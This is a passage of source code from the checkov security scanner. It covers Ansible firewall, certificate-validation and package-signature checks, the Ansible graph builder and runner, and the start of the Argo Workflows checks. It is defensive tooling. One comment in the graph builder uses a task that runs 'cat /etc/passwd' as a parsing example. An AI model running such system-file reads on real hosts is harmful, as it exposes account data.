attribute: telnet operator: not_equals value: true ================================================ FILE: checkov/ansible/checks/graph_checks/PanosPolicyDescription.yaml ================================================ metadata: id: "CKV_PAN_8" name: "Ensure description is populated within security policies" category: "NETWORKING" definition: and: - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: description operator: exists - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: description operator: is_not_empty ================================================ FILE: checkov/ansible/checks/graph_checks/PanosPolicyLogForwarding.yaml ================================================ metadata: id: "CKV_PAN_9" name: "Ensure a Log Forwarding Profile is selected for each security policy rule" category: "NETWORKING" definition: and: - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: log_setting operator: exists - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: log_setting operator: is_not_empty ================================================ FILE: checkov/ansible/checks/graph_checks/PanosPolicyLogSessionStart.yaml ================================================ metadata: id: "CKV_PAN_16" name: "Ensure logging at session start is disabled within security policies except for troubleshooting and long lived GRE tunnels" category: "LOGGING" definition: # Logging config flag "log_start = true " is specified, defaults to false, which is a pass or: - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: log_start operator: not_equals_ignore_case value: true - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: log_start operator: not_exists ================================================ FILE: checkov/ansible/checks/graph_checks/PanosPolicyLoggingEnabled.yaml ================================================ metadata: id: "CKV_PAN_10" name: "Ensure logging at session end is enabled within security policies" category: "NETWORKING" definition: # Logging config flag "log_end" is not specified, defaults to true, which is a pass cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: log_end operator: not_equals value: false ================================================ FILE: checkov/ansible/checks/graph_checks/PanosPolicyNoApplicationAny.yaml ================================================ metadata: id: "CKV_PAN_5" name: "Ensure security rules do not have 'application' set to 'any'" category: "NETWORKING" definition: and: - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: application operator: exists - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: application operator: is_not_empty - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: application operator: not_equals_ignore_case value: 'any' ================================================ FILE: checkov/ansible/checks/graph_checks/PanosPolicyNoDSRI.yaml ================================================ metadata: id: "CKV_PAN_4" name: "Ensure DSRI is not enabled within security policies" category: "NETWORKING" definition: or: - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: disable_server_response_inspection operator: equals value: false - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: disable_server_response_inspection operator: not_exists # Default value is false which passes the check ================================================ FILE: checkov/ansible/checks/graph_checks/PanosPolicyNoServiceAny.yaml ================================================ metadata: id: "CKV_PAN_6" name: "Ensure security rules do not have 'service' set to 'any'" category: "NETWORKING" definition: and: - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: service operator: exists - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: service operator: is_not_empty - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: service operator: not_equals_ignore_case value: 'any' ================================================ FILE: checkov/ansible/checks/graph_checks/PanosPolicyNoSrcAnyDstAny.yaml ================================================ metadata: id: "CKV_PAN_7" name: "Ensure security rules do not have 'source_ip' and 'destination_ip' both containing values of 'any'" category: "NETWORKING" definition: or: - and: - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: source_ip operator: exists - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: source_ip operator: is_not_empty - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: source_ip operator: not_equals_ignore_case value: 'any' - and: - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: destination_ip operator: exists - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: destination_ip operator: is_not_empty - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: destination_ip operator: not_equals_ignore_case value: 'any' ================================================ FILE: checkov/ansible/checks/graph_checks/PanosPolicyNoSrcZoneAnyNoDstZoneAny.yaml ================================================ metadata: id: "CKV_PAN_17" name: "Ensure security rules do not have 'source_zone' and 'destination_zone' both containing values of 'any'" category: "NETWORKING" definition: or: - and: - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: source_zone operator: exists - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: source_zone operator: is_not_empty - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: source_zone operator: not_equals_ignore_case value: 'any' - and: - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: destination_zone operator: exists - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: destination_zone operator: is_not_empty - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_security_rule attribute: destination_zone operator: not_equals_ignore_case value: 'any' ================================================ FILE: checkov/ansible/checks/graph_checks/PanosZoneProtectionProfile.yaml ================================================ metadata: id: "CKV_PAN_14" name: "Ensure a Zone Protection Profile is defined within Security Zones" category: "NETWORKING" definition: and: - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_zone attribute: zone_profile operator: exists - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_zone attribute: zone_profile operator: is_not_empty ================================================ FILE: checkov/ansible/checks/graph_checks/PanosZoneUserIDIncludeACL.yaml ================================================ metadata: id: "CKV_PAN_15" name: "Ensure an Include ACL is defined for a Zone when User-ID is enabled" category: "NETWORKING" definition: or: # If User-ID is enabled, also check for a non-empty Include ACL - and: - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_zone attribute: enable_userid operator: equals value: true - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_zone attribute: include_acl operator: exists - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_zone attribute: include_acl operator: is_not_empty # Or if User-ID is not enabled, there is no need to check for an Include ACL - cond_type: attribute resource_types: - tasks.paloaltonetworks.panos.panos_zone attribute: enable_userid operator: not_exists ================================================ FILE: checkov/ansible/checks/graph_checks/UriHttpsOnly.yaml ================================================ metadata: id: "CKV2_ANSIBLE_1" name: "Ensure that HTTPS url is used with uri" category: "NETWORKING" definition: cond_type: attribute resource_types: - tasks.ansible.builtin.uri - tasks.uri attribute: url operator: starting_with value: "https://" ================================================ FILE: checkov/ansible/checks/graph_checks/__init__.py ================================================ ================================================ FILE: checkov/ansible/checks/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.yaml_doc.base_registry import Registry registry = Registry(CheckType.ANSIBLE) ================================================ FILE: checkov/ansible/checks/task/__init__.py ================================================ from checkov.ansible.checks.task.aws import * # noqa from checkov.ansible.checks.task.builtin import * # noqa ================================================ FILE: checkov/ansible/checks/task/aws/EC2EBSOptimized.py ================================================ from __future__ import annotations from typing import Any from checkov.ansible.checks.base_ansible_task_value_check import BaseAnsibleTaskValueCheck from checkov.common.models.enums import CheckResult, CheckCategories class EC2EBSOptimized(BaseAnsibleTaskValueCheck): def __init__(self) -> None: name = "Ensure that EC2 is EBS optimized" id = "CKV_AWS_135" super().__init__( name=name, id=id, categories=(CheckCategories.GENERAL_SECURITY,), supported_modules=("amazon.aws.ec2_instance", "ec2_instance"), ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if not conf.get("image_id") and not conf.get("image"): # if 'image_id' or 'image' are not set, then an already running instance is targeted return CheckResult.UNKNOWN, self.entity_conf return super().scan_conf(conf=conf) def get_inspected_key(self) -> str: return "ebs_optimized" check = EC2EBSOptimized() ================================================ FILE: checkov/ansible/checks/task/aws/EC2PublicIP.py ================================================ from __future__ import annotations from typing import Any from checkov.ansible.checks.base_ansible_task_value_check import BaseAnsibleTaskValueCheck from checkov.common.models.enums import CheckResult, CheckCategories class EC2PublicIP(BaseAnsibleTaskValueCheck): def __init__(self) -> None: name = "EC2 instance should not have public IP." id = "CKV_AWS_88" super().__init__( name=name, id=id, categories=(CheckCategories.NETWORKING,), supported_modules=("amazon.aws.ec2_instance", "ec2_instance"), ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if not conf.get("image_id") and not conf.get("image"): # if 'image_id' or 'image' are not set, then an already running instance is targeted return CheckResult.UNKNOWN, self.entity_conf return super().scan_conf(conf=conf) def get_inspected_key(self) -> str: return "network/assign_public_ip" def get_expected_value(self) -> Any: return False check = EC2PublicIP() ================================================ FILE: checkov/ansible/checks/task/aws/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py ================================================ from __future__ import annotations from typing import Any from checkov.ansible.checks.base_ansible_task_value_check import BaseAnsibleTaskValueCheck from checkov.common.models.enums import CheckResult, CheckCategories class AptAllowUnauthenticated(BaseAnsibleTaskValueCheck): def __init__(self) -> None: name = "Ensure that packages with untrusted or missing signatures are not used" id = "CKV_ANSIBLE_5" super().__init__( name=name, id=id, categories=(CheckCategories.GENERAL_SECURITY,), supported_modules=("ansible.builtin.apt", "apt"), missing_block_result=CheckResult.PASSED, ) def get_expected_value(self) -> Any: return False def get_inspected_key(self) -> str: return "allow_unauthenticated" check = AptAllowUnauthenticated() ================================================ FILE: checkov/ansible/checks/task/builtin/AptForce.py ================================================ from __future__ import annotations from typing import Any from checkov.ansible.checks.base_ansible_task_value_check import BaseAnsibleTaskValueCheck from checkov.common.models.enums import CheckResult, CheckCategories class AptForce(BaseAnsibleTaskValueCheck): def __init__(self) -> None: name = "Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state" id = "CKV_ANSIBLE_6" super().__init__( name=name, id=id, categories=(CheckCategories.GENERAL_SECURITY,), supported_modules=("ansible.builtin.apt", "apt"), missing_block_result=CheckResult.PASSED, ) def get_expected_value(self) -> Any: return False def get_inspected_key(self) -> str: return "force" check = AptForce() ================================================ FILE: checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py ================================================ from __future__ import annotations from checkov.ansible.checks.base_ansible_task_value_check import BaseAnsibleTaskValueCheck from checkov.common.models.enums import CheckResult, CheckCategories class GetUrlValidateCerts(BaseAnsibleTaskValueCheck): def __init__(self) -> None: name = "Ensure that certificate validation isn't disabled with get_url" id = "CKV_ANSIBLE_2" super().__init__( name=name, id=id, categories=(CheckCategories.GENERAL_SECURITY,), supported_modules=("ansible.builtin.get_url", "get_url"), missing_block_result=CheckResult.PASSED, ) def get_inspected_key(self) -> str: return "validate_certs" check = GetUrlValidateCerts() ================================================ FILE: checkov/ansible/checks/task/builtin/UriValidateCerts.py ================================================ from __future__ import annotations from checkov.ansible.checks.base_ansible_task_value_check import BaseAnsibleTaskValueCheck from checkov.common.models.enums import CheckResult, CheckCategories class UriValidateCerts(BaseAnsibleTaskValueCheck): def __init__(self) -> None: name = "Ensure that certificate validation isn't disabled with uri" id = "CKV_ANSIBLE_1" super().__init__( name=name, id=id, categories=(CheckCategories.GENERAL_SECURITY,), supported_modules=("ansible.builtin.uri", "uri"), missing_block_result=CheckResult.PASSED, ) def get_inspected_key(self) -> str: return "validate_certs" check = UriValidateCerts() ================================================ FILE: checkov/ansible/checks/task/builtin/YumSslVerify.py ================================================ from __future__ import annotations from checkov.ansible.checks.base_ansible_task_value_check import BaseAnsibleTaskValueCheck from checkov.common.models.enums import CheckResult, CheckCategories class YumSslVerify(BaseAnsibleTaskValueCheck): def __init__(self) -> None: name = "Ensure that SSL validation isn't disabled with yum" id = "CKV_ANSIBLE_4" super().__init__( name=name, id=id, categories=(CheckCategories.GENERAL_SECURITY,), supported_modules=("ansible.builtin.yum", "yum"), missing_block_result=CheckResult.PASSED, ) def get_inspected_key(self) -> str: return "sslverify" check = YumSslVerify() ================================================ FILE: checkov/ansible/checks/task/builtin/YumValidateCerts.py ================================================ from __future__ import annotations from checkov.ansible.checks.base_ansible_task_value_check import BaseAnsibleTaskValueCheck from checkov.common.models.enums import CheckResult, CheckCategories class YumValidateCerts(BaseAnsibleTaskValueCheck): def __init__(self) -> None: name = "Ensure that certificate validation isn't disabled with yum" id = "CKV_ANSIBLE_3" super().__init__( name=name, id=id, categories=(CheckCategories.GENERAL_SECURITY,), supported_modules=("ansible.builtin.yum", "yum"), missing_block_result=CheckResult.PASSED, ) def get_inspected_key(self) -> str: return "validate_certs" check = YumValidateCerts() ================================================ FILE: checkov/ansible/checks/task/builtin/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/ansible/graph_builder/__init__.py ================================================ ================================================ FILE: checkov/ansible/graph_builder/graph_components/__init__.py ================================================ ================================================ FILE: checkov/ansible/graph_builder/graph_components/resource_types.py ================================================ from enum import Enum class ResourceType(str, Enum): BLOCK = "block" TASKS = "tasks" def __str__(self) -> str: # needed, because of a Python 3.11 change return self.value ================================================ FILE: checkov/ansible/graph_builder/local_graph.py ================================================ from __future__ import annotations import logging from pathlib import Path from typing import Any from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.consts import GraphSource, SELF_REFERENCE from checkov.common.graph.graph_builder.graph_components.block_types import BlockType from checkov.common.graph.graph_builder.graph_components.blocks import Block from checkov.common.runners.graph_builder.local_graph import ObjectLocalGraph from checkov.common.util.consts import START_LINE, END_LINE from checkov.ansible.graph_builder.graph_components.resource_types import ResourceType from checkov.ansible.utils import get_scannable_file_paths, TASK_RESERVED_KEYWORDS, parse_file from checkov.common.util.data_structures_utils import pickle_deepcopy class AnsibleLocalGraph(ObjectLocalGraph): def __init__(self, definitions: dict[str | Path, dict[str, Any] | list[dict[str, Any]]]) -> None: super().__init__(definitions=definitions) self.source = GraphSource.ANSIBLE def _create_vertices(self) -> None: for file_path, definition in self.definitions.items(): if not isinstance(definition, list): logging.debug(f"definition of file {file_path} has the wrong type {type(definition)}") continue file_path = str(file_path) for code_block in definition: if ResourceType.TASKS in code_block: tasks = code_block[ResourceType.TASKS] if tasks: # Check if tasks is not None and not empty for task in tasks: self._process_blocks(file_path=file_path, task=task) else: self._process_blocks(file_path=file_path, task=code_block) else: self._process_blocks(file_path=file_path, task=code_block) def _process_blocks(self, file_path: str, task: Any, prefix: str = "") -> None: """Checks for possible block usage""" if not task or not isinstance(task, dict): return if ResourceType.BLOCK in task and isinstance(task[ResourceType.BLOCK], list): prefix += f"{ResourceType.BLOCK}." # with each nested level an extra block prefix is added self._create_block_vertices(file_path=file_path, block=task, prefix=prefix) for block_task in task[ResourceType.BLOCK]: self._process_blocks(file_path=file_path, task=block_task, prefix=prefix) else: self._create_tasks_vertices(file_path=file_path, task=task, prefix=prefix) def _create_tasks_vertices(self, file_path: str, task: Any, prefix: str = "") -> None: """Creates tasks vertices""" if not task or not isinstance(task, dict): return # grab the task name at the beginning before trying to find the actual module name task_name = task.get("name") or "unknown" for name, config in task.items(): if name in TASK_RESERVED_KEYWORDS: continue if name in (START_LINE, END_LINE): continue if isinstance(config, list): # either it is actually not an Ansible file or a playbook without tasks refs continue resource_type = f"{ResourceType.TASKS}.{prefix}{name}" if isinstance(config, str): # this happens when modules have no parameters and are directly used with the user input # ex. ansible.builtin.command: cat /etc/passwd config = {SELF_REFERENCE: config} elif config is None: # this happens when modules have no parameters and are passed no value # ex. amazon.aws.ec2_instance_info: config = { START_LINE: task[START_LINE], END_LINE: task[END_LINE], } if not isinstance(config, dict): # either it is actually not an Ansible file or a playbook without tasks refs continue attributes = pickle_deepcopy(config) attributes[CustomAttributes.RESOURCE_TYPE] = resource_type # only the module code is relevant for validation, # but in the check result the whole task should be visible attributes[START_LINE] = task[START_LINE] attributes[END_LINE] = task[END_LINE] self.vertices.append( Block( name=f"{resource_type}.{task_name}", config=task, path=file_path, block_type=BlockType.RESOURCE, attributes=attributes, id=f"{resource_type}.{task_name}", source=self.source, ) ) # no need to further check break def _create_block_vertices(self, file_path: str, block: dict[str, Any], prefix: str = "") -> None: """Creates block vertices""" # grab the block name, if it exists block_name = block.get("name") or "unknown" config = block attributes = pickle_deepcopy(config) attributes[CustomAttributes.RESOURCE_TYPE] = ResourceType.BLOCK del attributes[ResourceType.BLOCK] # the real block content are tasks, which have their own vertices self.vertices.append( Block( name=f"{ResourceType.BLOCK}.{block_name}", config=config, path=file_path, block_type=BlockType.RESOURCE, attributes=attributes, id=f"{prefix}{block_name}", source=self.source, ) ) def _create_edges(self) -> None: return None @staticmethod def get_files_definitions(root_folder: str | Path) -> dict[str | Path, dict[str, Any] | list[dict[str, Any]]]: definitions: "dict[str | Path, dict[str, Any] | list[dict[str, Any]]]" = {} file_paths = get_scannable_file_paths(root_folder=root_folder) for file_path in file_paths: try: result = parse_file(f=file_path) if result is not None: definitions[file_path] = result[0] except Exception as err: logging.warning(f'fail to pars file {file_path}, {err}') return definitions ================================================ FILE: checkov/ansible/runner.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING, Any from checkov.common.graph.checks_infra.registry import BaseRegistry from checkov.ansible.checks.registry import registry from checkov.ansible.graph_builder.graph_components.resource_types import ResourceType from checkov.ansible.graph_builder.local_graph import AnsibleLocalGraph from checkov.ansible.utils import get_relevant_file_content, build_definitions_context, generate_task_name from checkov.common.output.report import CheckType from checkov.common.util.consts import START_LINE, END_LINE from checkov.yaml_doc.runner import Runner as YamlRunner if TYPE_CHECKING: from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.typing import LibraryGraphConnector from checkov.common.runners.graph_builder.local_graph import ObjectLocalGraph from checkov.common.runners.graph_manager import ObjectGraphManager from collections.abc import Iterable class Runner(YamlRunner): check_type = CheckType.ANSIBLE # noqa: CCE003 # a static attribute def __init__( self, db_connector: LibraryGraphConnector | None = None, source: str = "Ansible", graph_class: type[ObjectLocalGraph] = AnsibleLocalGraph, graph_manager: ObjectGraphManager | None = None, external_registries: list[BaseRegistry] | None = None, ) -> None: super().__init__( db_connector=db_connector, source=source, graph_class=graph_class, graph_manager=graph_manager, ) def require_external_checks(self) -> bool: return False def import_registry(self) -> BaseCheckRegistry: return registry @staticmethod def _parse_file( f: str, file_content: str | None = None ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: content = get_relevant_file_content(file_path=f) if content: return YamlRunner._parse_file(f=f, file_content=content) return None def get_resource( self, file_path: str, key: str, supported_entities: Iterable[str], start_line: int = -1, end_line: int = -1, graph_resource: bool = False, ) -> str: if not self.definitions or not isinstance(self.definitions, dict): return key resource_name = self.generate_resource_name(start_line, end_line, self.definitions[file_path]) return resource_name if resource_name else key def generate_resource_name( self, start_line: int, end_line: int, file_conf: dict[str, Any] | list[dict[str, Any]], resource_key: str | None = None, ) -> str | None: if not isinstance(file_conf, list): return resource_key for code_block in file_conf: if code_block[START_LINE] <= start_line <= end_line <= code_block[END_LINE]: if ResourceType.TASKS in code_block: for task in code_block[ResourceType.TASKS]: if task[START_LINE] <= start_line <= end_line <= task[END_LINE]: if ResourceType.BLOCK in task: resource_name = self._handle_block_tasks( start_line=start_line, end_line=end_line, code_block=task, ) if resource_name is not None: return resource_name return generate_task_name(task=task) or resource_key elif ResourceType.BLOCK in code_block: resource_name = self._handle_block_tasks( start_line=start_line, end_line=end_line, code_block=code_block, ) if resource_name is not None: return resource_name else: return generate_task_name(task=code_block) or resource_key return resource_key def _handle_block_tasks( self, start_line: int, end_line: int, code_block: dict[str, Any], prefix: str = "" ) -> str | None: for block_task in code_block[ResourceType.BLOCK]: if block_task[START_LINE] <= start_line <= end_line <= block_task[END_LINE]: prefix += f"{ResourceType.BLOCK}." # with each nested level an extra block prefix is added if ResourceType.BLOCK in block_task: resource_name = self._handle_block_tasks( start_line=start_line, end_line=end_line, code_block=block_task, prefix=prefix, ) if resource_name is not None: return resource_name return generate_task_name(task=block_task, prefix=prefix) return None def build_definitions_context( self, definitions: dict[str, dict[str, Any] | list[dict[str, Any]]], definitions_raw: dict[str, list[tuple[int, str]]], ) -> dict[str, dict[str, Any]]: return build_definitions_context(definitions=definitions, definitions_raw=definitions_raw) def set_definitions_raw(self, definitions_raw: dict[str, list[tuple[int, str]]]) -> None: self.definitions_raw = definitions_raw ================================================ FILE: checkov/ansible/utils.py ================================================ from __future__ import annotations import logging import os import re from pathlib import Path from typing import Any, List from checkov.ansible.graph_builder.graph_components.resource_types import ResourceType from checkov.common.parallelizer.parallel_runner import parallel_runner from checkov.common.parsers.yaml.parser import parse from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.runners.base_runner import filter_ignored_paths from checkov.common.util.consts import START_LINE, END_LINE from checkov.common.util.file_utils import read_file_with_any_encoding from checkov.common.util.suppression import collect_suppressions_for_context from checkov.runner_filter import RunnerFilter TASK_NAME_PATTERN = re.compile(r"^\s*-\s+name:\s+", re.MULTILINE) # https://docs.ansible.com/ansible/latest/reference_appendices/playbooks_keywords.html#task TASK_RESERVED_KEYWORDS = { "action", "any_errors_fatal", "args", "async", "become", "become_exe", "become_flags", "become_method", "become_user", "changed_when", "check_mode", "collections", "connection", "debugger", "delay", "delegate_facts", "delegate_to", "diff", "environment", "failed_when", "ignore_errors", "ignore_unreachable", "local_action", "loop", "loop_control", "module_defaults", "name", "no_log", "notify", "poll", "port", "register", "remote_user", "retries", "run_once", "tags", "throttle", "timeout", "until", "vars", "when", } logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) def get_scannable_file_paths(root_folder: str | Path) -> set[Path]: """Finds yaml files""" file_paths: set[Path] = set() if root_folder: root_path = root_folder if isinstance(root_folder, Path) else Path(root_folder) file_paths = {file_path for file_path in root_path.rglob("*.[y][am]*[l]") if file_path.is_file()} return file_paths def get_relevant_file_content(file_path: str | Path) -> str | None: if not str(file_path).endswith((".yaml", ".yml")): return None content = read_file_with_any_encoding(file_path=file_path) if "name:" not in content: # the following regex will search more precisely, but no need to further process return None match_task_name = re.search(TASK_NAME_PATTERN, content) if match_task_name: # there are more files, which belong to an ansible playbook, # but we are currently only interested in 'tasks' return content return None def parse_file( f: str | Path, file_content: str | None = None ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: file_content = get_relevant_file_content(file_path=f) if file_content: content = parse(filename=str(f), file_content=file_content) return content return None def generate_task_name(task: dict[str, Any], prefix: str = "") -> str | None: # grab the task name at the beginning before trying to find the actual module name task_name = task.get("name") or "unknown" for name in task: if name in TASK_RESERVED_KEYWORDS: continue if prefix: # if the task is found in a block, then prefix the module name with 'block' name = f"{prefix}{name}" return f"{ResourceType.TASKS}.{name}.{task_name}" return None def build_definitions_context( definitions: dict[str, dict[str, Any] | list[dict[str, Any]]], definitions_raw: dict[str, list[tuple[int, str]]], ) -> dict[str, dict[str, Any]]: definitions_context: dict[str, dict[str, Any]] = {} for file_path, definition in definitions.items(): file_path_context: dict[str, Any] = {} definition_raw = definitions_raw[file_path] if not isinstance(definition, list): logger.info(f"File {file_path} has the wrong type {type(definition)}") continue for code_block in definition: if ResourceType.TASKS in code_block: tasks = code_block[ResourceType.TASKS] if tasks: # Check if tasks is not empty for task in tasks: _process_blocks(definition_raw=definition_raw, file_path_context=file_path_context, task=task) else: _process_blocks(definition_raw=definition_raw, file_path_context=file_path_context, task=code_block) else: _process_blocks(definition_raw=definition_raw, file_path_context=file_path_context, task=code_block) definitions_context[file_path] = file_path_context return definitions_context def _process_blocks( definition_raw: list[tuple[int, str]], file_path_context: dict[str, Any], task: Any, prefix: str = "", ) -> None: """Checks for possible block usage""" if not task or not isinstance(task, dict): return if ResourceType.BLOCK in task and isinstance(task[ResourceType.BLOCK], list): prefix += f"{ResourceType.BLOCK}." # with each nested level an extra block prefix is added block_name = f"{prefix}.{task.get('name') or 'unknown'}" resource_context = _create_resource_context(definition_raw=definition_raw, resource=task) file_path_context[block_name] = resource_context for block_task in task[ResourceType.BLOCK]: _process_blocks( definition_raw=definition_raw, file_path_context=file_path_context, task=block_task, prefix=prefix ) else: resource_context = _create_resource_context(definition_raw=definition_raw, resource=task) task_name = generate_task_name(task=task, prefix=prefix) if task_name: file_path_context[task_name] = resource_context def _create_resource_context(definition_raw: list[tuple[int, str]], resource: dict[str, Any]) -> dict[str, Any]: """Creates the resource context block""" start_line = resource[START_LINE] end_line = resource[END_LINE] code_lines = definition_raw[start_line - 1 : end_line - 1] # lines start with index 0 skipped_checks = collect_suppressions_for_context(code_lines=code_lines) return { "start_line": start_line, "end_line": end_line - 1, "code_lines": code_lines, "skipped_checks": skipped_checks, } def create_definitions( root_folder: str | None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None ) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]]]: runner_filter = runner_filter or RunnerFilter() definitions: dict[str, dict[str, Any]] = {} definitions_raw: dict[str, list[tuple[int, str]]] = {} if files: create_file_definition(files, definitions, definitions_raw) if root_folder: for root, d_names, f_names in os.walk(root_folder): filter_ignored_paths(root, d_names, runner_filter.excluded_paths) filter_ignored_paths(root, f_names, runner_filter.excluded_paths) files_to_load = [os.path.join(root, f_name) for f_name in f_names] create_file_definition(files_to_load, definitions, definitions_raw) return definitions, definitions_raw def create_file_definition(files_to_load: List[str], definitions: dict[str, dict[str, Any]], definitions_raw: dict[str, list[tuple[int, str]]]) -> None: results = parallel_runner.run_function(lambda f: (f, parse_file(f)), files_to_load) for file_result_pair in results: if file_result_pair is None: # this only happens, when an uncaught exception occurs continue file, result = file_result_pair if result: (definitions[file], definitions_raw[file]) = result # type: ignore[assignment] ================================================ FILE: checkov/argo_workflows/__init__.py ================================================ from checkov.argo_workflows.checks import * # noqa ================================================ FILE: checkov/argo_workflows/checks/__init__.py ================================================ from checkov.argo_workflows.checks.template import * # noqa ================================================ FILE: checkov/argo_workflows/checks/base_argo_workflows_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import TYPE_CHECKING, Any from checkov.common.checks.base_check import BaseCheck from checkov.argo_workflows.checks.registry import registry if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories, CheckResult class BaseArgoWorkflowsCheck(BaseCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str], block_type: str, path: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type, ) self.path = path registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: self.entity_type = entity_type return self.scan_conf(conf) @abstractmethod def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: pass ================================================ FILE: checkov/argo_workflows/checks/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.yaml_doc.base_registry import Registry registry = Registry(CheckType.ARGO_WORKFLOWS) ================================================ FILE: checkov/argo_workflows/checks/template/DefaultServiceAccount.py ================================================ from __future__ import annotations from typing import Any from checkov.argo_workflows.checks.base_argo_workflows_check import BaseArgoWorkflowsCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.yaml_doc.enums import BlockType class DefaultServiceAccount(BaseArgoWorkflowsCheck): def __init__(self) -> None: name = "Ensure Workflow pods are not using the default ServiceAccount" id = "CKV_ARGO_1" super().__init__( name=name, id=id, categories=(CheckCategories.IAM,), supported_entities=("spec",), block_type=BlockType.OBJECT, ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if "serviceAccountName" in conf.keys() and conf["serviceAccountName"] != "default": return CheckResult.PASSED, conf return CheckResult.FAILED, conf check = DefaultServiceAccount() ================================================ FILE: checkov/argo_workflows/checks/template/RunAsNonRoot.py ================================================ from __future__ import annotations from typing import Any from checkov.argo_workflows.checks.base_argo_workflows_check import BaseArgoWorkflowsCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.yaml_doc.enums import BlockType class RunAsNonRoot(BaseArgoWorkflowsCheck): def __init__(self) -> None: name = "Ensure Workflow pods are running as non-root user" id = "CKV_ARGO_2" super().__init__( name=name, id=id, categories=(CheckCategories.IAM,), supported_entities=("spec",), block_type=BlockType.OBJECT, ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: security_context = conf.get("securityContext") if isinstance(security_context, dict) and security_context.get("runAsNonRoot") is True: return CheckResult.PASSED, conf return CheckResult.FAILED, conf check = RunAsNonRoot() ================================================ FILE: checkov/argo_workflows/checks/template/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/argo_workflows/common/__init__.py ================================================ ================================================ FILE: checkov/argo_workflows/runner.py ================================================ from __future__ import annotations import re from typing import TYPE_CHECKING, Any from checkov.common.images.image_referencer import ImageReferencer, Image from checkov.common.output.report import CheckType from checkov.common.util.file_utils import read_file_with_any_encoding from checkov.yaml_doc.runner import Runner as YamlRunner # Import of the checks registry for a specific resource type from checkov.argo_workflows.checks.registry import registry as template_registry if TYPE_CHECKING: from checkov.common.checks.base_check_registry import BaseCheckRegistry API_VERSION_PATTERN = re.compile(r"^apiVersion:\s*argoproj.io/", re.MULTILINE) KIND_PATTERN = re.compile(r"^kind:\s*Workflow", re.MULTILINE) class Runner(YamlRunner, ImageReferencer): check_type = CheckType.ARGO_WORKFLOWS # noqa: CCE003 # a static attribute block_type_registries = { # noqa: CCE003 # a 